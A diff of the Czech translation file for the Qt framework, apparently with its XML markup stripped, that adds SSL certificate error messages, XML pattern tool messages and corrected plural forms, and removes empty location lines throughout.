+        The certificate is self-signed, and untrusted
+        Osvědčení je podepsáno samo sebou, a proto není důvěryhodné
+    
+    
+        The root certificate of the certificate chain is self-signed, and untrusted
+        Kořenové osvědčení řetězce osvědčení je podepsáno samo sebou, a proto není důvěryhodné
+    
+    
+        The issuer certificate of a locally looked up certificate could not be found
+        Osvědčení od vydavatele místně nalezeného osvědčení se nepodařilo najít
+    
+    
+        No certificates could be verified
+        Žádný z osvědčení se nepodařilo ověřit
+    
+    
+        One of the CA certificates is invalid
+        Jedno z osvědčení osvědčovacího místa (CA) je neplatné
+    
+    
+        The basicConstraints path length parameter has been exceeded
+        Délka cesty 'basicConstraints'byla překročena
+    
+    
+        The supplied certificate is unsuitable for this purpose
+        Poskytnuté osvědčení nelze v tomto případě použít; není vhodné pro tento účel
+    
+    
+        The root CA certificate is not trusted for this purpose
+        Kořenové osvědčení osvědčovacího místa není pro tento případ důvěryhodné
+    
+    
+        The root CA certificate is marked to reject the specified purpose
+        Kořenové osvědčení osvědčovacího místa odmítá tento případ na základě zvláštního označení
+    
+    
+        The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate
+        Osvědčení sledovaného vydavatele bylo odmítnuto, protože jeho předmětný název neodpovídá názvu vydavatele současného osvědčení
+    
+    
+        The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate
+        Osvědčení sledovaného vydavatele bylo odmítnuto, protože název vydavatele a sériové číslo jsou přítomny a neodpovídají identifikátoru osvědčovacího místa současného osvědčení
+    
+    
+        The peer did not present any certificate
+        Protější místo neudalo žádné osvědčení
+    
+    
+        The host name did not match any of the valid hosts for this certificate
+        Název hostitelského počítače neodpovídá žádnému z hostitelů platných pro toto osvědčení, kteří jsou na seznamu
+    
+    
+        Unknown error
+        Neznámá chyba
+    
 
 
     QStateMachine
     
-        
         Missing initial state in compound state '%1'
         Chybí počáteční stav složeného stavu '%1'
     
     
-        
         Missing default state in history state '%1'
         Chybí výchozí stav ve vývoji stavu '%1'
     
     
-        
         No common ancestor for targets and source of transition from state '%1'
         Cíl a zdroj přechodu ze stavu '%1' nemají žádný společný původ
     
     
-        
         Unknown error
         Neznámá chyba
     
@@ -6130,30 +6830,22 @@ Zvolte, prosím, pro soubor jiný název.
 
     QSystemSemaphore
     
-        
         %1: does not exist
         %1: Neexistuje
     
     
-        
         %1: already exists
         %1: Již existuje
     
     
-        
-        
         %1: unknown error %2
         %1: Neznámá chyba %2
     
     
-        
-        
         %1: permission denied
         %1: Přístup odepřen
     
     
-        
-        
         %1: out of resources
         %1: Nejsou již použitelné zdroje
     
@@ -6161,12 +6853,10 @@ Zvolte, prosím, pro soubor jiný název.
 
     QTDSDriver
     
-        
         Unable to open connection
         Nepodařilo se otevřít spojení s databází
     
     
-        
         Unable to use database
         Datatbázi se nepodařilo použít
     
@@ -6174,12 +6864,10 @@ Zvolte, prosím, pro soubor jiný název.
 
     QTabBar
     
-        
         Scroll Left
         Projíždět doleva
     
     
-        
         Scroll Right
         Projíždět doprava
     
@@ -6187,7 +6875,6 @@ Zvolte, prosím, pro soubor jiný název.
 
     QTcpServer
     
-        
         Operation on socket is not supported
         Tato zásuvková (socket) operace není podporována
     
@@ -6195,42 +6882,34 @@ Zvolte, prosím, pro soubor jiný název.
 
     QTextControl
     
-        
         Cu&t
         Vyj&mout
     
     
-        
         &Copy
         &Kopírovat
     
     
-        
         &Redo
         &Znovu
     
     
-        
         &Undo
         &Zpět
     
     
-        
         &Paste
         &Vložit
     
     
-        
         Delete
         Smazat
     
     
-        
         Select All
         Vybrat vše
     
     
-        
         Copy &Link Location
         &Kopírovat adresu odkazu
     
@@ -6238,14 +6917,10 @@ Zvolte, prosím, pro soubor jiný název.
 
     QToolButton
     
-        
-        
         Open
         Otevřít
     
     
-        
-        
         Press
         Stisknout
     
@@ -6253,7 +6928,6 @@ Zvolte, prosím, pro soubor jiný název.
 
     QUdpSocket
     
-        
         This platform does not support IPv6
         Tato patforma nepodpotuje IPv6
     
@@ -6261,12 +6935,10 @@ Zvolte, prosím, pro soubor jiný název.
 
     QUndoGroup
     
-        
         Redo
         Znovu
     
     
-        
         Undo
         Zpět
     
@@ -6274,7 +6946,6 @@ Zvolte, prosím, pro soubor jiný název.
 
     QUndoModel
     
-        
         <empty>
         <prázdný>
     
@@ -6282,12 +6953,10 @@ Zvolte, prosím, pro soubor jiný název.
 
     QUndoStack
     
-        
         Redo
         Znovu
     
     
-        
         Undo
         Zpět
     
@@ -6295,57 +6964,46 @@ Zvolte, prosím, pro soubor jiný název.
 
     QUnicodeControlCharacterMenu
     
-        
         RLE Start of right-to-left embedding
         RLE Začátek zapuštění zprava doleva (right-to-left embedding)
     
     
-        
         ZWSP Zero width space
         ZWSP Prostor s nulovou šířkou (Zero width space)
     
     
-        
         Insert Unicode control character
         Vložit kontrolní znak Unicode
     
     
-        
         LRO Start of left-to-right override
         LRO Začátek zrušení zleva doprava (left-to-right override)
     
     
-        
         LRE Start of left-to-right embedding
         LRE Začátek zapuštění zleva doprava (right-to-left embedding)
     
     
-        
         RLM Right-to-left mark
         RLM Značka zprava doleva (Right-to-left mark)
     
     
-        
         PDF Pop directional formatting
         PDF Vsunout směrové formátování (Pop directional formatting)
     
     
-        
         ZWNJ Zero width non-joiner
         ZWNJ Nespojovač s nulovou šířkou (Zero width non-joiner)
     
     
-        
         RLO Start of right-to-left override
         RLO Začátek zrušení zprava doleva (right-to-left override)
     
     
-        
         ZWJ Zero width joiner
         ZWJ Spojovač s nulovou šířkou (Zero width joiner)
     
     
-        
         LRM Left-to-right mark
         LRM Značka zleva doprava (Left-to-right mark)
     
@@ -6353,22 +7011,18 @@ Zvolte, prosím, pro soubor jiný název.
 
     QWebFrame
     
-        
         Request blocked
         Požadavek byl odmítnut
     
     
-        
         Request cancelled
         Požadavek byl zrušen
     
     
-        
         Cannot show URL
         Adresu (URL) nelze ukázat
     
     
-        
         Frame load interrupted by policy change
         Nahrání rámce bylo přerušeno změnou směrnice
     
@@ -6377,12 +7031,10 @@ Zvolte, prosím, pro soubor jiný název.
         Nahrání rámce bylo přerušeno změnou směrnice
     
     
-        
         File does not exist
         Soubor neexistuje
     
     
-        
         Cannot show mimetype
         Tento mime typ nelze ukázat
     
@@ -6402,7 +7054,6 @@ Zvolte, prosím, pro soubor jiný název.
         Zprava doleva
     
     
-        
         Top
         Začátek
     
@@ -6443,122 +7094,98 @@ Zvolte, prosím, pro soubor jiný název.
         Provést prohlídku
     
     
-        
         Select to the start of the block
         Vybrat až po začátek bloku
     
     
-        
         Move the cursor to the end of the block
         Ukazatel polohy posunout až na konec bloku
     
     
-        
         JavaScript Alert - %1
         Upozornění od JavaScriptu - %1
     
     
-        
         JavaScript Confirm - %1
         Potvrzení od JavaScriptu - %1
     
     
-        
         JavaScript Prompt - %1
         Výzva od JavaScriptu - %1
     
     
-        
         JavaScript Problem - %1
         Potíže s JavaScriptem - %1
     
     
-        
         The script on this page appears to have a problem. Do you want to stop the script?
         Vypadá to na to, že skript na této straně má potíže. Chcete tento skript zastavit?
     
     
-        
         Select all
         Vybrat vše
     
     
-        
         Select to the start of the line
         Vybrat až po začátek řádku
     
     
-        
         Insert a new paragraph
         Vložit nový odstavec
     
     
-        
         Insert a new line
         Vložit nový řádek
     
     
-        
         Paste and Match Style
         Vložit a odpovídat stylu
     
     
-        
         Remove formatting
         Odstranit formátování
     
     
-        
         Strikethrough
         Přeškrtnuto
     
     
-        
         Subscript
         Dolní index
     
     
-        
         Superscript
         Horní index
     
     
-        
         Insert Bulleted List
         Vložit seznam s odrážkami
     
     
-        
         Insert Numbered List
         Vložit číslovaný seznam
     
     
-        
         Indent
         Odsadit
     
     
-        
         Outdent
         Zrušit odsazení
     
     
-        
         Center
         Na střed
     
     
-        
         Justify
         Do bloku
     
     
-        
         Align Left
         Zarovnat vlevo
     
     
-        
         Align Right
         Zarovnat vpravo
     
@@ -6579,7 +7206,6 @@ Zvolte, prosím, pro soubor jiný název.
         Přidat do slovníku
     
     
-        
         Delete to the start of the word
         Smazat až po začátek slova
     
@@ -6588,32 +7214,26 @@ Zvolte, prosím, pro soubor jiný název.
         Dosavadní hledané výrazy
     
     
-        
         Move the cursor to the next word
         Ukazatel polohy posunout k následujícímu slovu
     
     
-        
         Move the cursor to the next line
         Ukazatel polohy posunout k následujícímu řádku
     
     
-        
         Scroll down
         Projíždět dolů
     
     
-        
         Scroll here
         Projíždět až sem
     
     
-        
         Scroll left
         Projíždět doleva
     
     
-        
         Move the cursor to the start of the block
         Ukazatel polohy posunout na začátek bloku
     
@@ -6622,7 +7242,6 @@ Zvolte, prosím, pro soubor jiný název.
         Směr psaní
     
     
-        
         Bottom
         Konec
     
@@ -6635,12 +7254,10 @@ Zvolte, prosím, pro soubor jiný název.
         Kurzívní
     
     
-        
         Move the cursor to the end of the line
         Ukazatel polohy posunout na konec řádku
     
     
-        
         Move the cursor to the start of the line
         Ukazatel polohy posunout na začátek řádku
     
@@ -6653,12 +7270,10 @@ Zvolte, prosím, pro soubor jiný název.
         Poslat
     
     
-        
         Web Inspector - %2
         Web Inspektor - %2
     
     
-        
         Page up
         O stranu nahoru
     
@@ -6679,487 +7294,411 @@ Zvolte, prosím, pro soubor jiný název.
         Nebyl vybrán žádný soubor
     
     
-        
         Submit
         default label for Submit buttons in forms on web pages
         Poslat
     
     
-        
         Reset
         default label for Reset buttons in forms on web pages
         Vrátit
     
     
-        
         This is a searchable index. Enter search keywords: 
         text that appears at the start of nearly-obsolete web pages in the form of a 'searchable index'
         Tento rejstřík má funkci hledání. Zadejte nějaký hledaný výraz:
     
     
-        
         Choose File
         title for file button used in HTML forms
         Vybrat soubor
     
     
-        
         No file selected
         text to display in file button used in HTML forms when no file is selected
         Nebyl vybrán žádný soubor
     
     
-        
         Open in New Window
         Open in New Window context menu item
         Otevřít v novém okně
     
     
-        
         Save Link...
         Download Linked File context menu item
         Uložit odkaz...
     
     
-        
         Copy Link
         Copy Link context menu item
         Kopírovat adresu odkazu
     
     
-        
         Open Image
         Open Image in New Window context menu item
         Vyobrazení otevřít v novém okně
     
     
-        
         Save Image
         Download Image context menu item
         Uložit vyobrazení
     
     
-        
         Copy Image
         Copy Link context menu item
         Kopírovat vyobrazení
     
     
-        
         Open Frame
         Open Frame in New Window context menu item
         Otevřít rámec
     
     
-        
         Copy
         Copy context menu item
         Kopírovat
     
     
-        
         Go Back
         Back context menu item
         Jít zpět
     
     
-        
         Go Forward
         Forward context menu item
         Jít dopředu
     
     
-        
         Stop
         Stop context menu item
         Zastavit
     
     
-        
         Reload
         Reload context menu item
         Nahrát znovu
     
     
-        
         Cut
         Cut context menu item
         Vyjmout
     
     
-        
         Paste
         Paste context menu item
         Vložit
     
     
-        
         No Guesses Found
         No Guesses Found context menu item
         Nebyly nalezeny žádné návrhy
     
     
-        
         Ignore
         Ignore Spelling context menu item
         Přehlížet
     
     
-        
         Add To Dictionary
         Learn Spelling context menu item
         Přidat do slovníku
     
     
-        
         Search The Web
         Search The Web context menu item
         Hledat na síti
     
     
-        
         Look Up In Dictionary
         Look Up in Dictionary context menu item
         Podívat se do slovníku
     
     
-        
         Open Link
         Open Link context menu item
         Otevřít adresu odkazu
     
     
-        
         Ignore
         Ignore Grammar context menu item
         Přehlížet
     
     
-        
         Spelling
         Spelling and Grammar context sub-menu item
         Pravopis
     
     
-        
         Show Spelling and Grammar
         menu item title
         Ukázat pravopis a mluvnici
     
     
-        
         Hide Spelling and Grammar
         menu item title
         Skrýt pravopis a mluvnici
     
     
-        
         Check Spelling
         Check spelling context menu item
         Ověření pravopisu
     
     
-        
         Check Spelling While Typing
         Check spelling while typing context menu item
         Ověřovat pravopis během psaní
     
     
-        
         Check Grammar With Spelling
         Check grammar with spelling context menu item
         Ověřovat mluvnici společně s pravopisem
     
     
-        
         Fonts
         Font context sub-menu item
         Písma
     
     
-        
         Bold
         Bold context menu item
         Tučné
     
     
-        
         Italic
         Italic context menu item
         Kurzíva
     
     
-        
         Underline
         Underline context menu item
         Podtržení
     
     
-        
         Outline
         Outline context menu item
         Obrys
     
     
-        
         Direction
         Writing direction context sub-menu item
         Směr
     
     
-        
         Text Direction
         Text direction context sub-menu item
         Směr psaní
     
     
-        
         Default
         Default writing direction context menu item
         Výchozí
     
     
-        
         Left to Right
         Left to Right context menu item
         Zleva doprava
     
     
-        
         Right to Left
         Right to Left context menu item
         Zprava doleva
     
     
-        
+        Missing Plug-in
+        Label text to be used when a plug-in is missing
+        Chybějící přídavný modul
+    
+    
         Loading...
         Media controller status message when the media is loading
         Nahrává se...
     
     
-        
         Live Broadcast
         Media controller status message when watching a live broadcast
         Živý přenos
     
     
-        
         Audio Element
         Media controller element
         Zvukový prvek
     
     
-        
         Video Element
         Media controller element
         Videoprvek
     
     
-        
         Mute Button
         Media controller element
         Tlačítko pro ztlumení
     
     
-        
         Unmute Button
         Media controller element
         Tlačítko pro zrušení ztlumení
     
     
-        
         Play Button
         Media controller element
         Tlačítko pro přehrávání
     
     
-        
         Pause Button
         Media controller element
         Tlačítko pro pozastavení
     
     
-        
         Slider
         Media controller element
         Posuvník
     
     
-        
         Slider Thumb
         Media controller element
         Palec posuvníku
     
     
-        
         Rewind Button
         Media controller element
         Tlačítko pro přetočení
     
     
-        
         Return to Real-time Button
         Media controller element
         Tlačítko pro návrat ke skutečnému času
     
     
-        
         Elapsed Time
         Media controller element
         Uplynulý čas
     
     
-        
         Remaining Time
         Media controller element
         Zbývající čas
     
     
-        
         Status Display
         Media controller element
         Údaj o stavu
     
     
-        
         Fullscreen Button
         Media controller element
         Tlačítko pro zobrazení na celou obrazovku
     
     
-        
         Seek Forward Button
         Media controller element
         Tlačítko pro hledání dopředu
     
     
-        
         Seek Back Button
         Media controller element
         Tlačítko pro hledání dozadu
     
     
-        
         Audio element playback controls and status display
         Media controller element
         Řízení přehrávání zvuku a zobrazení stavu
     
     
-        
         Video element playback controls and status display
         Media controller element
         Řízení přehrávání videa a zobrazení stavu
     
     
-        
         Mute audio tracks
         Media controller element
         Ztlumit zvukové stopy
     
     
-        
         Unmute audio tracks
         Media controller element
         Zrušit ztlumení zvukových stop
     
     
-        
         Begin playback
         Media controller element
         Začít přehrávání
     
     
-        
         Pause playback
         Media controller element
         Pozastavit přehrávání
     
     
-        
         Movie time scrubber
         Media controller element
         Čas přehrávání
     
     
-        
         Movie time scrubber thumb
         Media controller element
         Palec pro nastavení času přehrávání
     
     
-        
         Rewind movie
         Media controller element
         Přetočit film zpět
     
     
-        
         Return streaming movie to real-time
         Media controller element
         Vrátit film na skutečný čas
     
     
-        
         Current movie time
         Media controller element
         Čas přehrávání filmu
     
     
-        
         Remaining movie time
         Media controller element
         Zbývající čas z přehrávání filmu
     
     
-        
         Current movie status
         Media controller element
         Stav filmu
     
     
-        
         Play movie in full-screen mode
         Media controller element
         Přehrávat film v režimu zobrazení na celou obrazovku
     
     
-        
         Seek quickly back
         Media controller element
         Rychlé zpětné hledání
     
     
-        
         Seek quickly forward
         Media controller element
         Rychlé dopředné hledání
     
     
-        
         Indefinite time
         Media time description
         Neomezený čas
     
     
-        
         %1 days %2 hours %3 minutes %4 seconds
         Media time description
         %1 dny %2 hodiny %3 minuty %4 sekundy
     
     
-        
         %1 hours %2 minutes %3 seconds
         Media time description
         %1 hodiny %2 minuty %3 sekundy
     
     
-        
         %1 minutes %2 seconds
         Media time description
         %1 minuty %2 sekundy
     
     
-        
         %1 seconds
         Media time description
         %1 sekundy
@@ -7175,37 +7714,31 @@ Zvolte, prosím, pro soubor jiný název.
         Zprava doleva
     
     
-        
         Inspect
         Inspect Element context menu item
         Provést prohlídku
     
     
-        
         No recent searches
         Label for only item in menu that appears when clicking on the search field image, when no searches have been performed
         Neexistují žádné naposledy hledané výrazy
     
     
-        
         Recent searches
         label for first item in the menu that appears when clicking on the search field image, used as embedded menu title
         Dosavadní hledané výrazy
     
     
-        
         Clear recent searches
         menu item in Recent Searches menu that empties menu's contents
         Smazat naposledy hledané výrazy
     
     
-        
         Unknown
         Unknown filesize FTP directory listing item
         Neznámý
     
     
-        
         %1 (%2x%3 pixels)
         Title string for images
         %1 (%2x%3 pixelů)
@@ -7223,17 +7756,14 @@ Zvolte, prosím, pro soubor jiný název.
         Neexistují žádné naposledy hledané výrazy
     
     
-        
         Page right
         O stranu doprava
     
     
-        
         Move the cursor to the start of the document
         Ukazatel polohy posunout na začátek dokumentu
     
     
-        
         Move the cursor to the next character
         Ukazatel polohy posunout k následujícímu znaku
     
@@ -7242,12 +7772,10 @@ Zvolte, prosím, pro soubor jiný název.
         Kopírovat adresu odkazu
     
     
-        
         Select to the previous line
         Vybrat až po předchozí řádek
     
     
-        
         Select to the previous word
         Vybrat až po předchozí slovo
     
@@ -7256,7 +7784,6 @@ Zvolte, prosím, pro soubor jiný název.
         Kontrola pravopisu
     
     
-        
         Select to the next character
         Vybrat až po následující znak
     
@@ -7265,7 +7792,6 @@ Zvolte, prosím, pro soubor jiný název.
         Ukázat pravopis a mluvnici
     
     
-        
         Delete to the end of the word
         Smazat až po konec slova
     
@@ -7274,12 +7800,10 @@ Zvolte, prosím, pro soubor jiný název.
         Směr
     
     
-        
         Select to the end of the line
         Vybrat až po začátek řádku
     
     
-        
         Submit
         Submit (input element) alt text for <input> elements with no alt, title, or value
         Poslat
@@ -7289,7 +7813,6 @@ Zvolte, prosím, pro soubor jiný název.
         Vybrat soubor
     
     
-        
         Scroll up
         Projíždět nahoru
     
@@ -7298,7 +7821,6 @@ Zvolte, prosím, pro soubor jiný název.
         Smazat naposledy hledané výrazy
     
     
-        
         Select to the start of the document
         Vybrat až po začátek dokumentu
     
@@ -7311,7 +7833,6 @@ Zvolte, prosím, pro soubor jiný název.
         Podtrhnout
     
     
-        
         Move the cursor to the previous character
         Ukazatel polohy posunout k předchozímu znaku
     
@@ -7320,17 +7841,14 @@ Zvolte, prosím, pro soubor jiný název.
         Kopírovat vyobrazení
     
     
-        
         Select to the end of the document
         Vybrat až po konec dokumentu
     
     
-        
         Select to the end of the block
         Vybrat až po konec bloku
     
     
-        
         Scroll right
         Projíždět doprava
     
@@ -7343,7 +7861,10 @@ Zvolte, prosím, pro soubor jiný název.
         Otevřít adresu odkazu
     
     
-        
+        Redirection limit reached
+        Dosaženo krajní meze pro přesměrování
+    
+    
         Bad HTTP request
         Neplatný požadavek HTTP
     
@@ -7352,12 +7873,10 @@ Zvolte, prosím, pro soubor jiný název.
         Neznámý
     
     
-        
         Move the cursor to the previous word
         Ukazatel polohy posunout k předchozímu slovu
     
     
-        
         Move the cursor to the previous line
         Ukazatel polohy posunout na předchozí řádku
     
@@ -7366,7 +7885,6 @@ Zvolte, prosím, pro soubor jiný název.
         %n soubor(ů)
     
     
-        
         Left edge
         Levý okraj
     
@@ -7375,12 +7893,10 @@ Zvolte, prosím, pro soubor jiný název.
         Jít dopředu
     
     
-        
         Page down
         O stranu dolů
     
     
-        
         Page left
         O stranu doleva
     
@@ -7389,7 +7905,6 @@ Zvolte, prosím, pro soubor jiný název.
         Tento index má funkci hledání. Zadejte nějaký hledaný výraz:
     
     
-        
         Select to the previous character
         Vybrat až po předchozí znak
     
@@ -7402,12 +7917,10 @@ Zvolte, prosím, pro soubor jiný název.
         Otevřít v novém okně
     
     
-        
         Right edge
         Pravý okraj
     
     
-        
         Move the cursor to the end of the document
         Ukazatel polohy posunout na konec dokumentu
     
@@ -7420,30 +7933,26 @@ Zvolte, prosím, pro soubor jiný název.
         %1 (%2x%3 pixelů)
     
     
-        
         Select to the next word
         Vybrat až po následující slovo
     
     
-        
         Select to the next line
         Vybrat až po následující řádek
     
     
-        
         %n file(s)
         number of chosen file
         
-            %n soubor(ů)
-            
-            
+            jeden soubor
+            %n soubory
+            %n souborů
         
     
 
 
     QWhatsThisAction
     
-        
         What's This?
         Co je toto?
     
@@ -7451,7 +7960,6 @@ Zvolte, prosím, pro soubor jiný název.
 
     QWidget
     
-        
         *
         *
     
@@ -7459,57 +7967,46 @@ Zvolte, prosím, pro soubor jiný název.
 
     QWizard
     
-        
         Done
         Hotovo
     
     
-        
         Help
         Nápověda
     
     
-        
         &Help
         &Nápověda
     
     
-        
         &Next
         &Další
     
     
-        
         Cancel
         Zrušit
     
     
-        
         Commit
         Použít
     
     
-        
         Continue
         Pokračovat
     
     
-        
         &Finish
         Do&končit
     
     
-        
         &Next >
         &Další >
     
     
-        
         Go Back
         Jít zpět
     
     
-        
         < &Back
         < &Zpět
     
@@ -7517,69 +8014,54 @@ Zvolte, prosím, pro soubor jiný název.
 
     QWorkspace
     
-        
         &Move
         Po&sunout
     
     
-        
         &Size
         Změnit &velikost
     
     
-        
         Close
         Zavřít
     
     
-        
         Minimize
         Zmenšit
     
     
-        
         Stay on &Top
         Zůstat v &popředí
     
     
-        
         &Close
         &Zavřít
     
     
-        
-        
         %1 - [%2]
         %1 - [%2]
     
     
-        
-        
         Sh&ade
         &Navinout
     
     
-        
         &Restore
         &Obnovit
     
     
-        
         &Unshade
         &Odvinout
     
     
-        
         Mi&nimize
         &Zmenšit
     
     
-        
         Ma&ximize
         Zvě&tšit
     
     
-        
         Restore Down
         Obnovit
     
@@ -7587,302 +8069,260 @@ Zvolte, prosím, pro soubor jiný název.
 
     QXml
     
-        
         unparsed entity reference in wrong context
         používán nevyhodnocený odkaz na entitu v nesprávné souvislosti
     
     
-        
         external parsed general entity reference not allowed in DTD
         v DTD nejsou dovoleny žádné odkazy na vnější obecnou entitu
     
     
-        
         wrong value for standalone declaration
         nesprávná hodnota pro samostatné prohlášení
     
     
-        
         encoding declaration or standalone declaration expected while reading the XML declaration
         chybějící prohlášení kódování nebo prohlášení samostatnosti při čtení prohlášení XML
     
     
-        
         no error occurred
         žádná chyba
     
     
-        
         error occurred while parsing reference
         při vyhodnocení odkazu se vyskytla chyba
     
     
-        
         standalone declaration expected while reading the XML declaration
         chybějící prohlášení samostatnosti při čtení prohlášení XML
     
     
-        
         invalid name for processing instruction
         neplatný název pro pokyn pro zpracování
     
     
-        
         error triggered by consumer
         chyba spuštěná spotřebitelem
     
     
-        
         error occurred while parsing element
         při vyhodnocení prvku se vyskytla chyba
     
     
-        
         unexpected character
         neočekávaný znak
     
     
-        
         tag mismatch
         Značky prvků nejsou vkládány správně
     
     
-        
         error occurred while parsing content
         při vyhodnocení obsahu se vyskytla chyba
     
     
-        
         error occurred while parsing comment
         při vyhodnocení poznámky se vyskytla chyba
     
     
-        
         internal general entity reference not allowed in DTD
         v DTD nejsou dovoleny žádné odkazy na vnitřní obecnou entitu
     
     
-        
         recursive entities
         rekurzivní entity
     
     
-        
         more than one document type definition
         více definicí typu dokumentu
     
     
-        
         version expected while reading the XML declaration
         chybějící verze při čtení prohlášení XML
     
     
-        
         letter is expected
         na tomto místě je potřeba písmeno
     
     
-        
         unexpected end of file
         neočekávaný konec souboru
     
     
-        
         external parsed general entity reference not allowed in attribute value
         v hodnotě vlastnosti nejsou dovoleny žádné odkazy na vnější obecnou entitu
     
     
-        
         error in the text declaration of an external entity
         Chyba v prohlášení textu vnější entity
     
     
-        
         error occurred while parsing document type definition
         při vyhodnocení definice typu dokumentu se vyskytla chyba
     
 
 
+    QXmlPatternistCLI
+    
+        Warning in %1, at line %2, column %3: %4
+        Varování v %1, na řádku %2, sloupec %3: %4
+    
+    
+        Warning in %1: %2
+        Varování v %1: %2
+    
+    
+        Unknown location
+        Neznámé umístění
+    
+    
+        Error %1 in %2, at line %3, column %4: %5
+        Chyba %1 v %2, na řádku %3, sloupec %4: %5
+    
+    
+        Error %1 in %2: %3
+        Chyba %1 v %2: %3
+    
+
+
     QXmlStream
     
-        
         Reference to unparsed entity '%1'.
         Odkaz na nevyhodnocenou entitu '%1'.
     
     
-        
         Unexpected character '%1' in public id literal.
         '%1' není platným znakem v údaji veřejného id, který je tvořen písmeny.
     
     
-        
-        
-        
-        
         Illegal namespace declaration.
         Neplatné prohlášení jmenného prostoru.
     
     
-        
         Invalid XML character.
         Neplatný znak XML.
     
     
-        
         Expected character data.
         Byly očekávány údaje o znacích.
     
     
-        
         Standalone accepts only yes or no.
         Hodnota pro samostatnou vlastnost může být pouze "ano" nebo "ne".
     
     
-        
         Invalid XML version string.
         Neplatný údaj o verzi XML.
     
     
-        
         Invalid processing instruction name.
         Název pokynu pro zpracování je neplatný.
     
     
-        
         Namespace prefix '%1' not declared
         Předpona jmenného prostoru '%1' nebyla prohlášena
     
     
-        
-        
-        
         Entity '%1' not declared.
         Entita '%1' není prohlášena.
     
     
-        
         %1 is an invalid processing instruction name.
         %1 není platným názvem pokynu pro zpracování.
     
     
-        
         The standalone pseudo attribute must appear after the encoding.
         Samostatná pseudovlastnost musí následovat bezprostředně po kódování.
     
     
-        
         Sequence ']]>' not allowed in content.
         Sled znaků ']]>' není v obsahu povolen.
     
     
-        
         %1 is an invalid encoding name.
         %1 není platným názvem pro kódování.
     
     
-        
         , but got '
         očekáváno, namísto toho obdrženo '
     
     
-        
         Start tag expected.
         Očekáván otevírající prvek.
     
     
-        
         Invalid character reference.
         Odkaz na neplatný znak.
     
     
-        
         Reference to external entity '%1' in attribute value.
         V hodnotě vlastnosti byla odkazována entita '%1'.
     
     
-        
         Expected 
         Bylo 
     
     
-        
         Invalid document.
         Neplatný dokument.
     
     
-        
         Opening and ending tag mismatch.
         Počet otevírajících prvků neodpovídá neodpovídá počtu zavírajících prvků.
     
     
-        
-        
         Encountered incorrectly encoded content.
         Byl nalezen obsah s neplatným kódováním.
     
     
-        
         Invalid attribute in XML declaration.
         Prohlášení XML obsahuje neplatnou vlastnost.
     
     
-        
         Attribute redefined.
         Vlastnost byla nově vymezena.
     
     
-        
         %1 is an invalid PUBLIC identifier.
         %1 není platným údajem VEŘEJNÉHO identifikátoru (id).
     
     
-        
-        
         Extra content at end of document.
         Přebytečný obsah za koncem dokumentu.
     
     
-        
         Invalid XML name.
         Neplatný název XML.
     
     
-        
         Premature end of document.
         Předčasný konec dokumentu.
     
     
-        
         XML declaration not at start of document.
         Prohlášení XML se nenachází na začátku dokumentu.
     
     
-        
         Recursive entity detected.
         Byla zjištěna rekurzivní entita.
     
     
-        
         Unsupported XML version.
         Tato verze XML není podporována.
     
     
-        
         Unexpected '
         Na tomto místě neplatný ' 
     
     
-        
         Invalid entity value.
         neplatná hodnota entity.
     
     
-        
         Encoding %1 is unsupported
         Kódování %1 není podporováno
     
     
-        
         NDATA in parameter entity declaration.
         Parametrické prohlášení entitynesmí obsahovat žádné NDATA.
     
@@ -7890,62 +8330,50 @@ Zvolte, prosím, pro soubor jiný název.
 
     QtXmlPatterns
     
-        
         A comment cannot contain %1
         Poznámka nesmí obsahovat %1
     
     
-        
         Version %1 is not supported. The supported XQuery version is 1.0.
         Verze %1 není podporována. Podporovanou verzí XQuery je 1.0.
     
     
-        
         The root node of the second argument to function %1 must be a document node. %2 is not a document node.
         Nadřízený uzel druhého agumentu funkce %1 musí být uzlem dokumentu, což není případ %2.
     
     
-        
         The parameter %1 is required, but no corresponding %2 is supplied.
         Nebyl zadán žádný odpovídající %2 pro potřebný parametr %1.
     
     
-        
         Namespace declarations must occur before function, variable, and option declarations.
         Prohlášení jmenných prostorů musí stát před prohlášeními funkcí-, proměnných- nebo prohlášeními voleb.
     
     
-        
         empty
         prázdný
     
     
-        
         The namespace URI cannot be the empty string when binding to a prefix, %1.
         Jmenný prostor-URI nesmí být prázdný, když je spojen s prefixem %1.
     
     
-        
         A comment cannot end with a %1.
         Poznámka nesmí končit na %1.
     
     
-        
         Top level stylesheet elements must be in a non-null namespace, which %1 isn't.
         Úplně nahoře stojící prvky prováděcího listu se nesmí nacházet v nulovém jmenném prostoru, což je případ %1.
     
     
-        
         Integer division (%1) by zero (%2) is undefined.
         Celočíselné dělení (%1) nulou (%2) není stanoveno.
     
     
-        
         A library module cannot be evaluated directly. It must be imported from a main module.
         Knihovní modul nemůže být posouzen přímo, musí být zaveden z hlavního modulu.
     
     
-        
         Time %1:%2:%3.%4 is invalid.
         Časový údaj %1:%2:%3.%4 je neplatný.
     
@@ -7954,37 +8382,30 @@ Zvolte, prosím, pro soubor jiný název.
         Prvek %2 může mít pouze obvyklé vlastnosti, ne však %1.
     
     
-        
         A value of type %1 must contain an even number of digits. The value %2 does not.
         Počet míst hodnoty typu %1 musí být stejný. To není případ %2.
     
     
-        
         Modulus division (%1) by zero (%2) is undefined.
         Dělení absolutní hodnoty (%1) nulou(%2) není stanoveno.
     
     
-        
         No function with signature %1 is available
         Neexistuje žádná funkce označená jako %1
     
     
-        
         None of the pragma expressions are supported. Therefore, a fallback expression must be present
         Musí být přítomen záložní výraz, neboť nejsou podporovány žádné věcné výrazy
     
     
-        
         In the replacement string, %1 can only be used to escape itself or %2, not %3
         V nahrazení může být použit pouze %1, aby se chránil sám, nebo %2, ne však pro %3
     
     
-        
         The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.
         Kódovací bod %1 z %2 s kódováním %3 není platným znakem XML.
     
     
-        
         Network timeout.
         Časový limit síťové operace byl překročen.
     
@@ -7993,33 +8414,26 @@ Zvolte, prosím, pro soubor jiný název.
         Nelze provádět žádné výběrové ("cast") operace s typem %1.
     
     
-        
         The Schema Import feature is not supported, and therefore %1 declarations cannot occur.
         Prohlášení %1 je nepřípustné, protože není podporováno zavedení schémat.
     
     
-        
         Attribute %1 and %2 are mutually exclusive.
         Vlastnosti %1 a %2 se vzájemně vylučující.
     
     
-        
         Parse error: %1
         Chyba vyhodnocení: %1
     
     
-        
         If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.
         Nelze zadat žádnou předponu, jestliže je první argument prázdný nebo je prázdný řetězec znaků (žádný jmenný prostor). Byla zadána předpona %1.
     
     
-        
